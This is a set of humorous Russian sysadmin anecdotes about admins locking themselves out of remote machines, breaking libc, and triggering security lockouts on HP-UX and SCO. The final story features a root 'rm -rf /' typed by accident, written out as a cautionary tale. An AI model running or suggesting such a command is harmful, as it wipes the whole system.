&dDИстория 1.&d@ Вот и я однажды менял то ли IP-адрес, то ли
роутинг на удаленной машине... Короче - промахнулся, сказал
ifconfig eth0 down
Вот собственно и все. Сказать
ifconfig eth0 NEW-IP было уже некому.
Вы конечно догадались, что _НАДО БЫЛО_ одной строкой писать
ifconfig eth0 down ; ifconfig eth0 NEW-IP up ; route add ...
&dDИстория 2.&d@ Захотелось повысить уровень security. Пишем
в /etc/hosts.deny
ALL:ALL
в /etc/hosts.allow
ALL:193.263.12.13
^^^ вроде бы маленькая ошибочка, цифры переставить, а
нельзя - я уже успел отлогиниться.
&dDУдаленный "доступ" или "Ключа вообще нет"&d@
Повис у нас однажды сервер, надо reset нажать,
перегрузить, а комната заперта, и ключи уже унесли. И telnet'ом
не войдешь - некуда.
Вырубили свет на всем этаже, включили вновь - voila!
&dDНовая /lib/libc.so - апгрейд LIB C&d@
Linux. 1993 год. Потребовалось подменить LibC. Ну, вперед,
делов-то - старую передвинуть, новую - на ее место.
cd lib
mv libc.so libc.so-old
mv libc.so-new libc.so
ldd: Can not execute, shared library not found
Finish.
Пришлось грузиться с дискеты, монтировать hd.
Но, как это ни смешно, в следующий раз те же команды,
записанные в одну строку, сработали. Или библиотечка в кэше
оказалась... Темна вода в Linuxе. Впрочем, файлы из каталога
/sbin - обычно staticaly-linked - им для работы разделяемая
libc без надобности.
&dDИстория 1. Trusted mode - безопасность превыше всего&d@
В HP-UX новички администраторы очень любят sam'ом поиграть
- GUI, мышиный интерфейс - администрируй на здоровье. Вот
только читать сообщения надо - а они по-английски все.
Очень легко, одним "Ok" в SAM включается перевод системы в
trusted режим. Включают, и не замечают. А замечают через пару
дней, когда с трех раз не угадают пароль root. В trusted режиме
логин после этого блокируется совсем, а другого юзера ПЕРЕД
ЭТИМ завести - не догадываются.
Как всегда - нас спасет single user mode: перехват
загрузки в prompt IPL и затем
IPL> hpux -is
А затем запуск sam. И переконвертировать систему в "untrusted"
# mount -a
# sam
Но если вы ухитрились еще и пароль на boot включить - то
помогайте себе сами.
&dDИстория 2. Security class C2: о том же, но в SCO&d@
Security class C2 - это повышенная безопасность. И повышенный
геморрой для пользователей. И для администратора - тоже.
Привелось нам позвонить на защищенную SCO машину из Москвы
в Питер, по модему. Скорости getty с первого раза подобрать не
смогли, на логин прорывался 6-битный мусор, после третьей
попытки вместо getty Login мы увидели "Intruder attempts, tty
line /dev/modem disabled".
Через пару недель хозяин машины вернулся в Питер и вернул getty.
&dDScreen-сейвер и кнопка Enter&d@
Когда screen-saver гасит экран, что вы нажимаете? Не знаю, как остальные, а
я жму клавишу CTRL.
Один мой знакомый решил почистить каталог /tmp. Из-под root'а. набирает он
rm -rf /tmp/*, точнее хочет набрать, поскольку в момент
rm -rf /_ звонит телефон и его куда-то вызывают.
Через час он вернулся, увидел погашенный экран, и нажал _свою_ любимую
клавишу. Угадайте, какую?
.

Если нужен текст сбоку
Отступ текста от картинки
